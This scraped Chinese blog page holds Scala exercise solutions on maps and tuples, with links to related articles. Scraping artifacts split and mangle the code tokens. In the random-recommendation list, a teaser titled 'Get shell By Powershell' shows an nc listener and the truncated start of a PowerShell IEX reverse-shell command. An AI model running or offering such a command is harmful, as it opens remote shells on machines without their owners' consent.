Ch04 映射和元组 - 练习
1. 设置一个映射,其中包含你想要的一些装备,以及它们的价格。然后构建另一个映射,采用同一组键,但在价格上打9折。
import
scala.collection.JavaConversions.asScalaBuffer
import
scala.collection.mutable.Buffer
import
java.awt.datatransfer.
_
import
java.util.TimeZone
object
App{
def
main(args
:
Array[String]){
val
a
=
Map(
"Mac Mini"
->
4988
,
"MacBook Air"
->
6288
,
"MacBook Pro"
->
8488
)
println(a.mkString(
"["
,
", "
,
"]"
))
println(
"10% OFF"
)
val
b
=
for
( (k,v) <- a )
yield
(k, v *
0.9
)
println(b.mkString(
"["
,
", "
,
"]"
))
}
}
/*result
[Mac Mini -> 4988, MacBook Air -> 6288, MacBook Pro -> 8488]
10% OFF
[Mac Mini -> 4489.2, MacBook Air -> 5659.2, MacBook Pro -> 7639.2]
*/
object
App{
def
main(args
:
Array[String]){
val
map
=
countWord(
"myfile.txt"
)
println(map.mkString(
"["
,
", "
,
"]"
))
}
def
countWord(filename
:
String)
=
{
var
words
=
Map[String, Int]()
val
in
=
new
java.util.Scanner(
new
java.io.File(
"myfile.txt"
))
while
(in.hasNext()){
var
key
=
in.next()
words +
=
(key -> (words.getOrElse(key,
0
) +
1
))
}
words
}
}
/*result
*/
object
App{
def
main(args
:
Array[String]){
val
map
=
countWord(
"myfile.txt"
)
println(map.mkString(
"["
,
", "
,
"]"
))
}
def
countWord(filename
:
String)
=
{
var
words
=
scala.collection.immutable.SortedMap[String, Int]()
val
in
=
new
java.util.Scanner(
new
java.io.File(
"myfile.txt"
))
while
(in.hasNext()){
var
key
=
in.next()
words +
=
(key -> (words.getOrElse(key,
0
) +
1
))
}
words
}
}
/*result
*/
import scala.collection.JavaConversions.mapAsScalaMap object App{ def main(args : Array[String]){ val map = countWord( "myfile.txt" ) println(map.mkString( "[" , ", " , "]" )) } def countWord(filename : String) = { var words = new java.util.TreeMap[String, Int]() val in = new java.util.Scanner( new java.io.File( "myfile.txt" )) while (in.hasNext()){ var key = in.next() words + = (key -> (words.getOrElse(key, 0 ) + 1 )) } words } } /*result */
|
import
scala.collection.JavaConversions.mapAsScalaMap
object
App{
def
main(args
:
Array[String]){
val
map
=
weekday(
"myfile.txt"
)
println(map.mkString(
"["
,
", "
,
"]"
))
}
def
weekday(filename
:
String)
=
{
var
weekdays
=
new
java.util.LinkedHashMap[String,Int]()
weekdays(
"Monday"
)
=
java.util.Calendar.MONDAY
weekdays(
"Tuesday"
)
=
java.util.Calendar.TUESDAY
weekdays(
"Wednesday"
)
=
java.util.Calendar.WEDNESDAY
weekdays(
"Thursday"
)
=
java.util.Calendar.THURSDAY
weekdays(
"Friday"
)
=
java.util.Calendar.FRIDAY
weekdays(
"Saturday"
)
=
java.util.Calendar.SATURDAY
weekdays(
"Sunday"
)
=
java.util.Calendar.SUNDAY
weekdays
}
}
/*result
[Monday -> 2, Tuesday -> 3, Wednesday -> 4, Thursday -> 5, Friday -> 6, Saturday -> 7, Sunday -> 1]
*/
import
scala.collection.JavaConversions.propertiesAsScalaMap
object
App{
def
main(args
:
Array[String]){
printSystemProperties()
}
def
printSystemProperties()
=
{
val
props
:
scala.collection.Map[String, String]
=
System.getProperties()
var
maxlen
=
0
for
((k,
_
) <- props)
if
(maxlen < k.length) maxlen
=
k.length
maxlen +
=
1
for
((k,v) <- props){
printf(
"%-"
+ maxlen.toString +
"s | %s\n"
, k, v)
}
}
}
/*result
java.vm.specification.version | 1.8
sun.java.command | scala.tools.nsc.MainGenericRunner e4-7.scala
java.home | H:\ProgramFiles\Java\jdk1.8.0_25\jre
...
*/
object
App{
def
main(args
:
Array[String]){
val
a
=
Array(
1
,
2
,
3
,
4
,
5
,
6
,
7
)
val
b
=
minmax(a)
println(a.mkString(
"["
,
", "
,
"]"
))
println(b)
}
def
minmax(values
:
Array[Int])
=
{
(values.min,values.max)
}
}
/*result
[1, 2, 3, 4, 5, 6, 7]
(1,7)
*/
object
App{
def
main(args
:
Array[String]){
val
a
=
Array(
1
,
2
,
3
,
4
,
5
,
6
,
7
)
val
b
=
lteqgt(a,
4
)
println(a.mkString(
"["
,
", "
,
"]"
))
println(b)
}
def
lteqgt(values
:
Array[Int], v
:
Int)
=
{
val
lt
=
values.count(
_
< v)
val
eq
=
values.count(
_
==
v)
val
gt
=
values.count(
_
> v)
(lt, eq, gt)
}
}
/*result
[1, 2, 3, 4, 5, 6, 7]
(3,1,3)
*/
object App{ def main(args : Array[String]){ val a = zip( "Hello" , "World" ) println(a) //println(a.mkString("[",", ","]")) } def zip(s 1 : String, s 2 : String) = { val a = s 1 .zip(s 2 ) a } } /*result Vector((H,W), (e,o), (l,r), (l,l), (o,d)) */
|
Ch04 映射和元组 - 练习的更多相关文章
- 快学Scala-第四章 映射和元组
知识点: 1.构造映射,映射是对偶的集合 val scores1 = Map("Alice" -> 10, "Bob" -> 7, "Ci ...
- Scala学习(四)---映射和元组
映射和元组 摘要: 一个经典的程序员名言是:"如果只能有一种数据结构,那就用哈希表吧".哈希表或者更笼统地说映射,是最灵活多变的数据结构之一.映射是键/值对偶的集合.Scala有一个通用的叫法:元组, ...
- 快学Scala习题解答—第四章 映射和元组
4 映射和元组 4.1 设置一个映射,当中包括你想要的一些装备,以及它们的价格.然后构建还有一个映射.採用同一组键,可是价格上打9折 映射的简单操作 ,"gun"->18 ...
- 【scala】 scala 映射和元组操作(四)
1.映射 Map 定义 ,取值,遍历,排序 2. 元组 定义,取值,拉链操作 import scala.collection.mutable /** * 映射和元组 * * @author xwol ...
- Scala的映射和元组操作
映射和元组操作 构造Map // 构造一个不可变的MAP映射,类似与key -> value这样的组合叫做对偶 val score = Map("Jack" -> 12 ...
- Scala从入门到放弃(三)Scala的数组、映射、元组和集合
1.数组 1.1定长数组和变长数组 object ArrayDemo { def main(args: Array[String]): Unit = { //初始化一个长度为8的定长数组,其数组元素均 ...
- 学好Spark/Kafka必须要掌握的Scala技术点(一)变量、表达式、循环、Option、方法和函数,数组、映射、元组、集合
前言 Scala是以JVM为运行环境的面向对象的函数式编程语言,它可以直接访问Java类库并且与Java框架进行交互操作.正如之前所介绍,Spark是用Scala语言编写的,Kafka server端 ...
- Scala:映射和元组
映射是键值对偶的集合.Scala有一个通用的叫法——元组:n个对象的聚集,并不一定要相同的类型. 构造映射 键A -> 值B scala> val scores = Map()//不可变映 ...
- 《快学Scala》——数组、映射和元组
数组 定长数组:在Scala中可以用Array,初始化一个定长数组.例如: val nums = new Array[Int](10) //10个整数的数组,所有元素初始化为0 val a = new ...
随机推荐
- HTML5+CSS3 效果网站集合
1.jquery插件库 HTML5制作3D樱花漫天飞舞 http://www.jq22.com/jquery-info3547 2.17素材网 http://www.17sucai.com/pi ...
- 解决git 不同branch 下node_moudes不同步的问题
做nodejs开发,或者vue react等开发的同学,在使用git 做版本管理的时候肯定碰到过这个问题. 按常规做法node_modules 肯定是被添加到.gitignore中不需要被提交的 但是 ...
- Get shell By Powershell
Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX (New-Objec ...
- [加密]证书、CA、证书信任链
转自:https://www.jianshu.com/p/6bf2f9a37feb TLS 传输层安全性协定 TLS(Transport Layer Security),及其前身安全套接层 SSL(S ...
- 启动matlab时总是直接跳转到安装界面的解决方案
[关于2017双11过后MATLAB许可过期问题的解决方案] 在距离双11还有2个月之前,matlab会提示:Your MATLAB license will expire in 50 days -- ...
- React Native Android原生模块开发实战|教程|心得|怎样创建React Native Android原生模块
尊重版权,未经授权不得转载 本文出自:贾鹏辉的技术博客(http://blog.csdn.net/fengyuzhengfan/article/details/54691503) 告诉大家一个好消息. ...
- 利用Python写入CSV文件的方法
第一种:CSV写入中文 #! /usr/bin/env python # _*_ coding:utf- _*_ import csv csvfile = file('test.csv', 'wb') ...
- LeetCode - 703. Kth Largest Element in a Stream
Design a class to find the kth largest element in a stream. Note that it is the kth largest element ...
- B - Assignment
Tom owns a company and he is the boss. There are n staffs which are numbered from 1 to n in this com ...
- Codeforces Round #531 (Div. 3)
A:瞎猜. #include <bits/stdc++.h> using namespace std; int main(){ ios::sync_with_stdio(false); i ...